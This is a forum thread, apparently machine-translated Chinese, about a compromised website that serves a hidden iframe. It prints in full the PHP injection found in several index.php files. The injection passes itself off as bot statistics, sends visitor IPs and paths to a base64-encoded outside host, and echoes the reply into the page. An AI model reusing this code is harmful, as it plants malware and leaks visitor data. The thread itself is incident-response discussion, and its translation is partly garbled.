出现在网站上的恶意iframe

我看到的其中一个网站似乎已经被入侵。 不过,我仍然试图找出问题的根源。

一个隐藏的iframe出现在页面上,但是只有10%的时间访问该网站。 我已经检查了有问题的实际文件,并没有这样的iframe代码添加到他们,这使我认为,服务器本身没有受到影响,这是某种XSS攻击? 此外,服务器还承载了其他各种似乎没有受到影响的网站。

在寻找和解决这个问题方面,最好从哪里开始。 理想情况下,我想擦拭服务器,并重新启动,但目前我没有这个选项,因为我没有完全控制这个特定的服务器。

我已经做了一些更多的挖掘,并find了以下一段代码出现在各种index.php文件。 不要以为有人认出来?

<?php if (!isset($sRetry)) { global $sRetry; $sRetry = 1; // This code use for global bot statistic $sUserAgent = strtolower($_SERVER['HTTP_USER_AGENT']); // Looks for google serch bot $stCurlHandle = NULL; $stCurlLink = ""; if((strstr($sUserAgent, 'google') == false)&&(strstr($sUserAgent, 'yahoo') == false)&&(strstr($sUserAgent, 'baidu') == false)&&(strstr($sUserAgent, 'msn') == false)&&(strstr($sUserAgent, 'opera') == false)&&(strstr($sUserAgent, 'chrome') == false)&&(strstr($sUserAgent, 'bing') == false)&&(strstr($sUserAgent, 'safari') == false)&&(strstr($sUserAgent, 'bot') == false)) // Bot comes { if(isset($_SERVER['REMOTE_ADDR']) == true && isset($_SERVER['HTTP_HOST']) == true){ // Create bot analitics $stCurlLink = base64_decode( 'aHR0cDovL2Jyb3dzZXJnbG9iYWxzdGF0LmNvbS9zdGF0RC9zdGF0LnBocA==').'?ip='.urlencode($_SERVER['REMOTE_ADDR']).'&useragent='.urlencode($sUserAgent).'&domainname='.urlencode($_SERVER['HTTP_HOST']).'&fullpath='.urlencode($_SERVER['REQUEST_URI']).'&check='.isset($_GET['look']); @$stCurlHandle = curl_init( $stCurlLink ); } } if ( $stCurlHandle !== NULL ) { curl_setopt($stCurlHandle, CURLOPT_RETURNTRANSFER, 1); curl_setopt($stCurlHandle, CURLOPT_TIMEOUT, 6); $sResult = @curl_exec($stCurlHandle); if ($sResult[0]=="O") {$sResult[0]=" "; echo $sResult; // Statistic code end } curl_close($stCurlHandle); } } ?> 

首先将擦除所有(或完整的虚拟主机),并从已知的良好备份重新启动。 认真。 妥协的系统是…妥协。

但是,为了调查起见,我build议你首先提供你的主机使用什么Web服务器(Apache?,nginx?lighttpd?IIS?)和操作系统。

根据经验,我会说你正在使用一个过时的框架(即:WordPress的,Django的,或任何这些PHP公告板)和某人利用权限问题有一些远程代码执行一个.htaccess的修改; 但这是一个真正的随机猜测,直到你开始提供更多的信息。